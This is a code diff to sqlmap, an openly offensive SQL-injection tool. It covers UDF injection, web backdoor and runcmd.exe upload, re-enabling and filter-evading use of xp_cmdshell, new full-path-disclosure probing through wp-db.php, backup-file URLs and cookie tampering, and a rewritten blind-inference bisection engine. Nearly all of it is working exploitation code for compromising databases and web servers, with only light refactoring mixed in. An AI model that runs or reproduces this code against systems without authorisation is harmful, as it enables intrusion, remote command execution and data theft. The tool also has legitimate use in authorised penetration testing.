udfCount = readInput(msg, default=1)
|
udfCount = readInput(msg, default='1')
|
||||||
|
|
||||||
if isinstance(udfCount, basestring) and udfCount.isdigit():
|
if udfCount.isdigit():
|
||||||
udfCount = int(udfCount)
|
udfCount = int(udfCount)
|
||||||
|
|
||||||
if udfCount <= 0:
|
if udfCount <= 0:
|
||||||
@@ -251,10 +246,6 @@ class UDF:
|
|||||||
return
|
return
|
||||||
else:
|
else:
|
||||||
break
|
break
|
||||||
|
|
||||||
elif isinstance(udfCount, int):
|
|
||||||
break
|
|
||||||
|
|
||||||
else:
|
else:
|
||||||
logger.warn("invalid value, only digits are allowed")
|
logger.warn("invalid value, only digits are allowed")
|
||||||
|
|
||||||
@@ -276,20 +267,16 @@ class UDF:
|
|||||||
|
|
||||||
self.udfs[udfName]["input"] = []
|
self.udfs[udfName]["input"] = []
|
||||||
|
|
||||||
default = 1
|
|
||||||
msg = "how many input parameters takes UDF "
|
msg = "how many input parameters takes UDF "
|
||||||
msg += "'%s'? (default: %d) " % (udfName, default)
|
msg += "'%s'? (default: 1) " % udfName
|
||||||
|
|
||||||
while True:
|
while True:
|
||||||
parCount = readInput(msg, default=default)
|
parCount = readInput(msg, default='1')
|
||||||
|
|
||||||
if isinstance(parCount, basestring) and parCount.isdigit() and int(parCount) >= 0:
|
if parCount.isdigit() and int(parCount) >= 0:
|
||||||
parCount = int(parCount)
|
parCount = int(parCount)
|
||||||
break
|
break
|
||||||
|
|
||||||
elif isinstance(parCount, int):
|
|
||||||
break
|
|
||||||
|
|
||||||
else:
|
else:
|
||||||
logger.warn("invalid value, only digits >= 0 are allowed")
|
logger.warn("invalid value, only digits >= 0 are allowed")
|
||||||
|
|
||||||
@@ -298,9 +285,9 @@ class UDF:
|
|||||||
msg += "number %d? (default: %s) " % ((y + 1), defaultType)
|
msg += "number %d? (default: %s) " % ((y + 1), defaultType)
|
||||||
|
|
||||||
while True:
|
while True:
|
||||||
parType = readInput(msg, default=defaultType)
|
parType = readInput(msg, default=defaultType).strip()
|
||||||
|
|
||||||
if isinstance(parType, basestring) and parType.isdigit():
|
if parType.isdigit():
|
||||||
logger.warn("you need to specify the data-type of the parameter")
|
logger.warn("you need to specify the data-type of the parameter")
|
||||||
|
|
||||||
else:
|
else:
|
||||||
@@ -327,12 +314,12 @@ class UDF:
|
|||||||
|
|
||||||
msg = "do you want to call your injected user-defined "
|
msg = "do you want to call your injected user-defined "
|
||||||
msg += "functions now? [Y/n/q] "
|
msg += "functions now? [Y/n/q] "
|
||||||
choice = readInput(msg, default="Y")
|
choice = readInput(msg, default='Y').upper()
|
||||||
|
|
||||||
if choice[0] in ("n", "N"):
|
if choice == 'N':
|
||||||
self.cleanup(udfDict=self.udfs)
|
self.cleanup(udfDict=self.udfs)
|
||||||
return
|
return
|
||||||
elif choice[0] in ("q", "Q"):
|
elif choice == 'Q':
|
||||||
self.cleanup(udfDict=self.udfs)
|
self.cleanup(udfDict=self.udfs)
|
||||||
raise SqlmapUserQuitException
|
raise SqlmapUserQuitException
|
||||||
|
|
||||||
@@ -347,9 +334,9 @@ class UDF:
|
|||||||
msg += "\n[q] Quit"
|
msg += "\n[q] Quit"
|
||||||
|
|
||||||
while True:
|
while True:
|
||||||
choice = readInput(msg)
|
choice = readInput(msg).upper()
|
||||||
|
|
||||||
if choice and choice[0] in ("q", "Q"):
|
if choice == 'Q':
|
||||||
break
|
break
|
||||||
elif isinstance(choice, basestring) and choice.isdigit() and int(choice) > 0 and int(choice) <= len(udfList):
|
elif isinstance(choice, basestring) and choice.isdigit() and int(choice) > 0 and int(choice) <= len(udfList):
|
||||||
choice = int(choice)
|
choice = int(choice)
|
||||||
@@ -390,9 +377,8 @@ class UDF:
|
|||||||
cmd = cmd[:-1]
|
cmd = cmd[:-1]
|
||||||
msg = "do you want to retrieve the return value of the "
|
msg = "do you want to retrieve the return value of the "
|
||||||
msg += "UDF? [Y/n] "
|
msg += "UDF? [Y/n] "
|
||||||
choice = readInput(msg, default="Y")
|
|
||||||
|
|
||||||
if choice[0] in ("y", "Y"):
|
if readInput(msg, default='Y', boolean=True):
|
||||||
output = self.udfEvalCmd(cmd, udfName=udfToCall)
|
output = self.udfEvalCmd(cmd, udfName=udfToCall)
|
||||||
|
|
||||||
if output:
|
if output:
|
||||||
@@ -403,9 +389,8 @@ class UDF:
|
|||||||
self.udfExecCmd(cmd, udfName=udfToCall, silent=True)
|
self.udfExecCmd(cmd, udfName=udfToCall, silent=True)
|
||||||
|
|
||||||
msg = "do you want to call this or another injected UDF? [Y/n] "
|
msg = "do you want to call this or another injected UDF? [Y/n] "
|
||||||
choice = readInput(msg, default="Y")
|
|
||||||
|
|
||||||
if choice[0] not in ("y", "Y"):
|
if not readInput(msg, default='Y', boolean=True):
|
||||||
break
|
break
|
||||||
|
|
||||||
self.cleanup(udfDict=self.udfs)
|
self.cleanup(udfDict=self.udfs)
|
||||||
|
|||||||
+59
-4
@@ -26,6 +26,7 @@ from lib.core.common import ntToPosixSlashes
|
|||||||
from lib.core.common import isTechniqueAvailable
|
from lib.core.common import isTechniqueAvailable
|
||||||
from lib.core.common import isWindowsDriveLetterPath
|
from lib.core.common import isWindowsDriveLetterPath
|
||||||
from lib.core.common import normalizePath
|
from lib.core.common import normalizePath
|
||||||
|
from lib.core.common import parseFilePaths
|
||||||
from lib.core.common import posixToNtSlashes
|
from lib.core.common import posixToNtSlashes
|
||||||
from lib.core.common import randomInt
|
from lib.core.common import randomInt
|
||||||
from lib.core.common import randomStr
|
from lib.core.common import randomStr
|
||||||
@@ -38,8 +39,10 @@ from lib.core.data import kb
|
|||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
from lib.core.data import paths
|
from lib.core.data import paths
|
||||||
from lib.core.enums import DBMS
|
from lib.core.enums import DBMS
|
||||||
|
from lib.core.enums import HTTP_HEADER
|
||||||
from lib.core.enums import OS
|
from lib.core.enums import OS
|
||||||
from lib.core.enums import PAYLOAD
|
from lib.core.enums import PAYLOAD
|
||||||
|
from lib.core.enums import PLACE
|
||||||
from lib.core.enums import WEB_API
|
from lib.core.enums import WEB_API
|
||||||
from lib.core.exception import SqlmapNoneDataException
|
from lib.core.exception import SqlmapNoneDataException
|
||||||
from lib.core.settings import BACKDOOR_RUN_CMD_TIMEOUT
|
from lib.core.settings import BACKDOOR_RUN_CMD_TIMEOUT
|
||||||
@@ -141,7 +144,7 @@ class Web:
|
|||||||
randInt = randomInt()
|
randInt = randomInt()
|
||||||
query += "OR %d=%d " % (randInt, randInt)
|
query += "OR %d=%d " % (randInt, randInt)
|
||||||
|
|
||||||
query += getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=outFile, HEXSTRING=hexencode(uplQuery))
|
query += getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=outFile, HEXSTRING=hexencode(uplQuery, conf.encoding))
|
||||||
query = agent.prefixQuery(query)
|
query = agent.prefixQuery(query)
|
||||||
query = agent.suffixQuery(query)
|
query = agent.suffixQuery(query)
|
||||||
payload = agent.payload(newValue=query)
|
payload = agent.payload(newValue=query)
|
||||||
@@ -196,6 +199,59 @@ class Web:
|
|||||||
self.webApi = choices[int(choice) - 1]
|
self.webApi = choices[int(choice) - 1]
|
||||||
break
|
break
|
||||||
|
|
||||||
|
if not kb.absFilePaths:
|
||||||
|
message = "do you want sqlmap to further try to "
|
||||||
|
message += "provoke the full path disclosure? [Y/n] "
|
||||||
|
|
||||||
|
if readInput(message, default='Y', boolean=True):
|
||||||
|
headers = {}
|
||||||
|
been = set([conf.url])
|
||||||
|
|
||||||
|
for match in re.finditer(r"=['\"]((https?):)?(//[^/'\"]+)?(/[\w/.-]*)\bwp-", kb.originalPage or "", re.I):
|
||||||
|
url = "%s%s" % (conf.url.replace(conf.path, match.group(4)), "wp-content/wp-db.php")
|
||||||
|
if url not in been:
|
||||||
|
try:
|
||||||
|
page, _, _ = Request.getPage(url=url, raise404=False, silent=True)
|
||||||
|
parseFilePaths(page)
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
finally:
|
||||||
|
been.add(url)
|
||||||
|
|
||||||
|
url = re.sub(r"(\.\w+)\Z", "~\g<1>", conf.url)
|
||||||
|
if url not in been:
|
||||||
|
try:
|
||||||
|
page, _, _ = Request.getPage(url=url, raise404=False, silent=True)
|
||||||
|
parseFilePaths(page)
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
finally:
|
||||||
|
been.add(url)
|
||||||
|
|
||||||
|
for place in (PLACE.GET, PLACE.POST):
|
||||||
|
if place in conf.parameters:
|
||||||
|
value = re.sub(r"(\A|&)(\w+)=", "\g<2>[]=", conf.parameters[place])
|
||||||
|
if "[]" in value:
|
||||||
|
page, headers, _ = Request.queryPage(value=value, place=place, content=True, raise404=False, silent=True, noteResponseTime=False)
|
||||||
|
parseFilePaths(page)
|
||||||
|
|
||||||
|
cookie = None
|
||||||
|
if PLACE.COOKIE in conf.parameters:
|
||||||
|
cookie = conf.parameters[PLACE.COOKIE]
|
||||||
|
elif headers and HTTP_HEADER.SET_COOKIE in headers:
|
||||||
|
cookie = headers[HTTP_HEADER.SET_COOKIE]
|
||||||
|
|
||||||
|
if cookie:
|
||||||
|
value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", cookie)
|
||||||
|
if value != cookie:
|
||||||
|
page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False)
|
||||||
|
parseFilePaths(page)
|
||||||
|
|
||||||
|
value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=", cookie)
|
||||||
|
if value != cookie:
|
||||||
|
page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False)
|
||||||
|
parseFilePaths(page)
|
||||||
|
|
||||||
directories = list(arrayizeValue(getManualDirectories()))
|
directories = list(arrayizeValue(getManualDirectories()))
|
||||||
directories.extend(getAutoDirectories())
|
directories.extend(getAutoDirectories())
|
||||||
directories = list(oset(directories))
|
directories = list(oset(directories))
|
||||||
@@ -314,7 +370,7 @@ class Web:
|
|||||||
|
|
||||||
_ = "tmpe%s.exe" % randomStr(lowercase=True)
|
_ = "tmpe%s.exe" % randomStr(lowercase=True)
|
||||||
if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", _)):
|
if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", _)):
|
||||||
self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'))
|
self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_EXTRAS_PATH, "runcmd", "runcmd.exe_"))
|
||||||
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
|
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
|
||||||
self.webDirectory = backdoorDirectory
|
self.webDirectory = backdoorDirectory
|
||||||
else:
|
else:
|
||||||
@@ -334,9 +390,8 @@ class Web:
|
|||||||
|
|
||||||
message = "do you want to try the same method used "
|
message = "do you want to try the same method used "
|
||||||
message += "for the file stager? [Y/n] "
|
message += "for the file stager? [Y/n] "
|
||||||
getOutput = readInput(message, default="Y")
|
|
||||||
|
|
||||||
if getOutput in ("y", "Y"):
|
if readInput(message, default='Y', boolean=True):
|
||||||
self._webFileInject(backdoorContent, backdoorName, directory)
|
self._webFileInject(backdoorContent, backdoorName, directory)
|
||||||
else:
|
else:
|
||||||
continue
|
continue
|
||||||
|
|||||||
@@ -163,7 +163,7 @@ class XP_cmdshell:
|
|||||||
# Obfuscate the command to execute, also useful to bypass filters
|
# Obfuscate the command to execute, also useful to bypass filters
|
||||||
# on single-quotes
|
# on single-quotes
|
||||||
self._randStr = randomStr(lowercase=True)
|
self._randStr = randomStr(lowercase=True)
|
||||||
self._cmd = "0x%s" % hexencode(cmd)
|
self._cmd = "0x%s" % hexencode(cmd, conf.encoding)
|
||||||
self._forgedCmd = "DECLARE @%s VARCHAR(8000);" % self._randStr
|
self._forgedCmd = "DECLARE @%s VARCHAR(8000);" % self._randStr
|
||||||
self._forgedCmd += "SET @%s=%s;" % (self._randStr, self._cmd)
|
self._forgedCmd += "SET @%s=%s;" % (self._randStr, self._cmd)
|
||||||
|
|
||||||
@@ -255,9 +255,8 @@ class XP_cmdshell:
|
|||||||
message = "xp_cmdshell extended procedure does not seem to "
|
message = "xp_cmdshell extended procedure does not seem to "
|
||||||
message += "be available. Do you want sqlmap to try to "
|
message += "be available. Do you want sqlmap to try to "
|
||||||
message += "re-enable it? [Y/n] "
|
message += "re-enable it? [Y/n] "
|
||||||
choice = readInput(message, default="Y")
|
|
||||||
|
|
||||||
if not choice or choice in ("y", "Y"):
|
if readInput(message, default='Y', boolean=True):
|
||||||
self._xpCmdshellConfigure(1)
|
self._xpCmdshellConfigure(1)
|
||||||
|
|
||||||
if self._xpCmdshellCheck():
|
if self._xpCmdshellCheck():
|
||||||
|
|||||||
+123
-101
@@ -39,7 +39,9 @@ from lib.core.settings import CHAR_INFERENCE_MARK
|
|||||||
from lib.core.settings import INFERENCE_BLANK_BREAK
|
from lib.core.settings import INFERENCE_BLANK_BREAK
|
||||||
from lib.core.settings import INFERENCE_UNKNOWN_CHAR
|
from lib.core.settings import INFERENCE_UNKNOWN_CHAR
|
||||||
from lib.core.settings import INFERENCE_GREATER_CHAR
|
from lib.core.settings import INFERENCE_GREATER_CHAR
|
||||||
|
from lib.core.settings import INFERENCE_GREATER_EQUALS_CHAR
|
||||||
from lib.core.settings import INFERENCE_EQUALS_CHAR
|
from lib.core.settings import INFERENCE_EQUALS_CHAR
|
||||||
|
from lib.core.settings import INFERENCE_MARKER
|
||||||
from lib.core.settings import INFERENCE_NOT_EQUALS_CHAR
|
from lib.core.settings import INFERENCE_NOT_EQUALS_CHAR
|
||||||
from lib.core.settings import MAX_BISECTION_LENGTH
|
from lib.core.settings import MAX_BISECTION_LENGTH
|
||||||
from lib.core.settings import MAX_REVALIDATION_STEPS
|
from lib.core.settings import MAX_REVALIDATION_STEPS
|
||||||
@@ -67,7 +69,12 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||||||
partialValue = u""
|
partialValue = u""
|
||||||
finalValue = None
|
finalValue = None
|
||||||
retrievedLength = 0
|
retrievedLength = 0
|
||||||
asciiTbl = getCharset(charsetType)
|
|
||||||
|
if charsetType is None and conf.charset:
|
||||||
|
asciiTbl = sorted(set(ord(_) for _ in conf.charset))
|
||||||
|
else:
|
||||||
|
asciiTbl = getCharset(charsetType)
|
||||||
|
|
||||||
threadData = getCurrentThreadData()
|
threadData = getCurrentThreadData()
|
||||||
timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
|
timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
|
||||||
retVal = hashDBRetrieve(expression, checkConf=True)
|
retVal = hashDBRetrieve(expression, checkConf=True)
|
||||||
@@ -97,7 +104,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||||||
# Set kb.partRun in case "common prediction" feature (a.k.a. "good samaritan") is used or the engine is called from the API
|
# Set kb.partRun in case "common prediction" feature (a.k.a. "good samaritan") is used or the engine is called from the API
|
||||||
if conf.predictOutput:
|
if conf.predictOutput:
|
||||||
kb.partRun = getPartRun()
|
kb.partRun = getPartRun()
|
||||||
elif hasattr(conf, "api"):
|
elif conf.api:
|
||||||
kb.partRun = getPartRun(alias=False)
|
kb.partRun = getPartRun(alias=False)
|
||||||
else:
|
else:
|
||||||
kb.partRun = None
|
kb.partRun = None
|
||||||
@@ -109,7 +116,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||||||
elif (kb.fileReadMode or dump) and conf.firstChar is not None and (isinstance(conf.firstChar, int) or (isinstance(conf.firstChar, basestring) and conf.firstChar.isdigit())):
|
elif (kb.fileReadMode or dump) and conf.firstChar is not None and (isinstance(conf.firstChar, int) or (isinstance(conf.firstChar, basestring) and conf.firstChar.isdigit())):
|
||||||
firstChar = int(conf.firstChar) - 1
|
firstChar = int(conf.firstChar) - 1
|
||||||
if kb.fileReadMode:
|
if kb.fileReadMode:
|
||||||
firstChar *= 2
|
firstChar <<= 1
|
||||||
elif isinstance(firstChar, basestring) and firstChar.isdigit() or isinstance(firstChar, int):
|
elif isinstance(firstChar, basestring) and firstChar.isdigit() or isinstance(firstChar, int):
|
||||||
firstChar = int(firstChar) - 1
|
firstChar = int(firstChar) - 1
|
||||||
else:
|
else:
|
||||||
@@ -168,7 +175,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||||||
warnMsg += "usage of option '--threads' for faster data retrieval"
|
warnMsg += "usage of option '--threads' for faster data retrieval"
|
||||||
singleTimeWarnMessage(warnMsg)
|
singleTimeWarnMessage(warnMsg)
|
||||||
|
|
||||||
if conf.verbose in (1, 2) and not showEta and not hasattr(conf, "api"):
|
if conf.verbose in (1, 2) and not showEta and not conf.api:
|
||||||
if isinstance(length, int) and conf.threads > 1:
|
if isinstance(length, int) and conf.threads > 1:
|
||||||
dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * min(length, conf.progressWidth)))
|
dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * min(length, conf.progressWidth)))
|
||||||
dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))
|
dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))
|
||||||
@@ -187,8 +194,9 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||||||
else:
|
else:
|
||||||
posValue = ord(hintValue[idx - 1])
|
posValue = ord(hintValue[idx - 1])
|
||||||
|
|
||||||
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue))
|
forgedPayload = agent.extractPayload(payload)
|
||||||
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
|
forgedPayload = safeStringFormat(forgedPayload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue))
|
||||||
|
result = Request.queryPage(agent.replacePayload(payload, forgedPayload), timeBasedCompare=timeBasedCompare, raise404=False)
|
||||||
incrementCounter(kb.technique)
|
incrementCounter(kb.technique)
|
||||||
|
|
||||||
if result:
|
if result:
|
||||||
@@ -270,86 +278,86 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||||||
lastCheck = False
|
lastCheck = False
|
||||||
unexpectedCode = False
|
unexpectedCode = False
|
||||||
|
|
||||||
while len(charTbl) != 1:
|
if continuousOrder:
|
||||||
position = None
|
while len(charTbl) > 1:
|
||||||
|
position = None
|
||||||
|
|
||||||
if charsetType is None:
|
if charsetType is None:
|
||||||
if not firstCheck:
|
if not firstCheck:
|
||||||
try:
|
|
||||||
try:
|
try:
|
||||||
lastChar = [_ for _ in threadData.shared.value if _ is not None][-1]
|
try:
|
||||||
except IndexError:
|
lastChar = [_ for _ in threadData.shared.value if _ is not None][-1]
|
||||||
lastChar = None
|
except IndexError:
|
||||||
if 'a' <= lastChar <= 'z':
|
lastChar = None
|
||||||
position = charTbl.index(ord('a') - 1) # 96
|
if 'a' <= lastChar <= 'z':
|
||||||
elif 'A' <= lastChar <= 'Z':
|
position = charTbl.index(ord('a') - 1) # 96
|
||||||
position = charTbl.index(ord('A') - 1) # 64
|
elif 'A' <= lastChar <= 'Z':
|
||||||
elif '0' <= lastChar <= '9':
|
position = charTbl.index(ord('A') - 1) # 64
|
||||||
position = charTbl.index(ord('0') - 1) # 47
|
elif '0' <= lastChar <= '9':
|
||||||
except ValueError:
|
position = charTbl.index(ord('0') - 1) # 47
|
||||||
pass
|
|
||||||
finally:
|
|
||||||
firstCheck = True
|
|
||||||
|
|
||||||
elif not lastCheck and numThreads == 1: # not usable in multi-threading environment
|
|
||||||
if charTbl[(len(charTbl) >> 1)] < ord(' '):
|
|
||||||
try:
|
|
||||||
# favorize last char check if current value inclines toward 0
|
|
||||||
position = charTbl.index(1)
|
|
||||||
except ValueError:
|
except ValueError:
|
||||||
pass
|
pass
|
||||||
finally:
|
finally:
|
||||||
lastCheck = True
|
firstCheck = True
|
||||||
|
|
||||||
if position is None:
|
elif not lastCheck and numThreads == 1: # not usable in multi-threading environment
|
||||||
position = (len(charTbl) >> 1)
|
if charTbl[(len(charTbl) >> 1)] < ord(' '):
|
||||||
|
try:
|
||||||
|
# favorize last char check if current value inclines toward 0
|
||||||
|
position = charTbl.index(1)
|
||||||
|
except ValueError:
|
||||||
|
pass
|
||||||
|
finally:
|
||||||
|
lastCheck = True
|
||||||
|
|
||||||
posValue = charTbl[position]
|
if position is None:
|
||||||
falsePayload = None
|
position = (len(charTbl) >> 1)
|
||||||
|
|
||||||
if "'%s'" % CHAR_INFERENCE_MARK not in payload:
|
posValue = charTbl[position]
|
||||||
forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue))
|
falsePayload = None
|
||||||
falsePayload = safeStringFormat(payload, (expressionUnescaped, idx, RANDOM_INTEGER_MARKER))
|
|
||||||
else:
|
|
||||||
# e.g.: ... > '%c' -> ... > ORD(..)
|
|
||||||
markingValue = "'%s'" % CHAR_INFERENCE_MARK
|
|
||||||
unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(posValue))
|
|
||||||
forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue)
|
|
||||||
falsePayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, NULL)
|
|
||||||
|
|
||||||
if timeBasedCompare:
|
if "'%s'" % CHAR_INFERENCE_MARK not in payload:
|
||||||
if kb.responseTimeMode:
|
forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue))
|
||||||
kb.responseTimePayload = falsePayload
|
falsePayload = safeStringFormat(payload, (expressionUnescaped, idx, RANDOM_INTEGER_MARKER))
|
||||||
else:
|
else:
|
||||||
kb.responseTimePayload = None
|
# e.g.: ... > '%c' -> ... > ORD(..)
|
||||||
|
markingValue = "'%s'" % CHAR_INFERENCE_MARK
|
||||||
|
unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(posValue))
|
||||||
|
forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue)
|
||||||
|
falsePayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, NULL)
|
||||||
|
|
||||||
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
|
if timeBasedCompare:
|
||||||
incrementCounter(kb.technique)
|
if kb.responseTimeMode:
|
||||||
|
kb.responseTimePayload = falsePayload
|
||||||
|
else:
|
||||||
|
kb.responseTimePayload = None
|
||||||
|
|
||||||
if not timeBasedCompare:
|
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
|
||||||
unexpectedCode |= threadData.lastCode not in (kb.injection.data[kb.technique].falseCode, kb.injection.data[kb.technique].trueCode)
|
incrementCounter(kb.technique)
|
||||||
if unexpectedCode:
|
|
||||||
warnMsg = "unexpected HTTP code '%s' detected. Will use (extra) validation step in similar cases" % threadData.lastCode
|
|
||||||
singleTimeWarnMessage(warnMsg)
|
|
||||||
|
|
||||||
if result:
|
if not timeBasedCompare:
|
||||||
minValue = posValue
|
unexpectedCode |= threadData.lastCode not in (kb.injection.data[kb.technique].falseCode, kb.injection.data[kb.technique].trueCode)
|
||||||
|
if unexpectedCode:
|
||||||
|
warnMsg = "unexpected HTTP code '%s' detected. Will use (extra) validation step in similar cases" % threadData.lastCode
|
||||||
|
singleTimeWarnMessage(warnMsg)
|
||||||
|
|
||||||
if type(charTbl) != xrange:
|
if result:
|
||||||
charTbl = charTbl[position:]
|
minValue = posValue
|
||||||
|
|
||||||
|
if type(charTbl) != xrange:
|
||||||
|
charTbl = charTbl[position:]
|
||||||
|
else:
|
||||||
|
# xrange() - extended virtual charset used for memory/space optimization
|
||||||
|
charTbl = xrange(charTbl[position], charTbl[-1] + 1)
|
||||||
else:
|
else:
|
||||||
# xrange() - extended virtual charset used for memory/space optimization
|
maxValue = posValue
|
||||||
charTbl = xrange(charTbl[position], charTbl[-1] + 1)
|
|
||||||
else:
|
|
||||||
maxValue = posValue
|
|
||||||
|
|
||||||
if type(charTbl) != xrange:
|
if type(charTbl) != xrange:
|
||||||
charTbl = charTbl[:position]
|
charTbl = charTbl[:position]
|
||||||
else:
|
else:
|
||||||
charTbl = xrange(charTbl[0], charTbl[position])
|
charTbl = xrange(charTbl[0], charTbl[position])
|
||||||
|
|
||||||
if len(charTbl) == 1:
|
if len(charTbl) == 1:
|
||||||
if continuousOrder:
|
|
||||||
if maxValue == 1:
|
if maxValue == 1:
|
||||||
return None
|
return None
|
||||||
|
|
||||||
@@ -408,25 +416,40 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||||||
return decodeIntToUnicode(retVal)
|
return decodeIntToUnicode(retVal)
|
||||||
else:
|
else:
|
||||||
return None
|
return None
|
||||||
|
else:
|
||||||
|
candidates = list(originalTbl)
|
||||||
|
bit = 0
|
||||||
|
while len(candidates) > 1:
|
||||||
|
bits = {}
|
||||||
|
for candidate in candidates:
|
||||||
|
bit = 0
|
||||||
|
while candidate:
|
||||||
|
bits.setdefault(bit, 0)
|
||||||
|
bits[bit] += 1 if candidate & 1 else -1
|
||||||
|
candidate >>= 1
|
||||||
|
bit += 1
|
||||||
|
|
||||||
|
choice = sorted(bits.items(), key=lambda _: abs(_[1]))[0][0]
|
||||||
|
mask = 1 << choice
|
||||||
|
|
||||||
|
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, "&%d%s" % (mask, INFERENCE_GREATER_CHAR)), (expressionUnescaped, idx, 0))
|
||||||
|
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
|
||||||
|
incrementCounter(kb.technique)
|
||||||
|
|
||||||
|
if result:
|
||||||
|
candidates = [_ for _ in candidates if _ & mask > 0]
|
||||||
else:
|
else:
|
||||||
if minValue == maxChar or maxValue == minChar:
|
candidates = [_ for _ in candidates if _ & mask == 0]
|
||||||
return None
|
|
||||||
|
|
||||||
for index in xrange(len(originalTbl)):
|
bit += 1
|
||||||
if originalTbl[index] == minValue:
|
|
||||||
break
|
|
||||||
|
|
||||||
# If we are working with non-continuous elements, both minValue and character after
|
if candidates:
|
||||||
# are possible candidates
|
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, candidates[0]))
|
||||||
for retVal in (originalTbl[index], originalTbl[index + 1]):
|
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
|
||||||
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, retVal))
|
incrementCounter(kb.technique)
|
||||||
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
|
|
||||||
incrementCounter(kb.technique)
|
|
||||||
|
|
||||||
if result:
|
if result:
|
||||||
return decodeIntToUnicode(retVal)
|
return decodeIntToUnicode(candidates[0])
|
||||||
|
|
||||||
return None
|
|
||||||
|
|
||||||
# Go multi-threading (--threads > 1)
|
# Go multi-threading (--threads > 1)
|
||||||
if conf.threads > 1 and isinstance(length, int) and length > 1:
|
if conf.threads > 1 and isinstance(length, int) and length > 1:
|
||||||
@@ -443,23 +466,22 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||||||
|
|
||||||
if threadData.shared.index[0] - firstChar >= length:
|
if threadData.shared.index[0] - firstChar >= length:
|
||||||
kb.locks.index.release()
|
kb.locks.index.release()
|
||||||
|
|
||||||
return
|
return
|
||||||
|
|
||||||
threadData.shared.index[0] += 1
|
threadData.shared.index[0] += 1
|
||||||
curidx = threadData.shared.index[0]
|
currentCharIndex = threadData.shared.index[0]
|
||||||
kb.locks.index.release()
|
kb.locks.index.release()
|
||||||
|
|
||||||
if kb.threadContinue:
|
if kb.threadContinue:
|
||||||
charStart = time.time()
|
charStart = time.time()
|
||||||
val = getChar(curidx)
|
val = getChar(currentCharIndex, asciiTbl, not(charsetType is None and conf.charset))
|
||||||
if val is None:
|
if val is None:
|
||||||
val = INFERENCE_UNKNOWN_CHAR
|
val = INFERENCE_UNKNOWN_CHAR
|
||||||
else:
|
else:
|
||||||
break
|
break
|
||||||
|
|
||||||
with kb.locks.value:
|
with kb.locks.value:
|
||||||
threadData.shared.value[curidx - 1 - firstChar] = val
|
threadData.shared.value[currentCharIndex - 1 - firstChar] = val
|
||||||
currentValue = list(threadData.shared.value)
|
currentValue = list(threadData.shared.value)
|
||||||
|
|
||||||
if kb.threadContinue:
|
if kb.threadContinue:
|
||||||
@@ -487,15 +509,15 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||||||
count += 1 if currentValue[i] is not None else 0
|
count += 1 if currentValue[i] is not None else 0
|
||||||
|
|
||||||
if startCharIndex > 0:
|
if startCharIndex > 0:
|
||||||
output = '..' + output[2:]
|
output = ".." + output[2:]
|
||||||
|
|
||||||
if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length - 1):
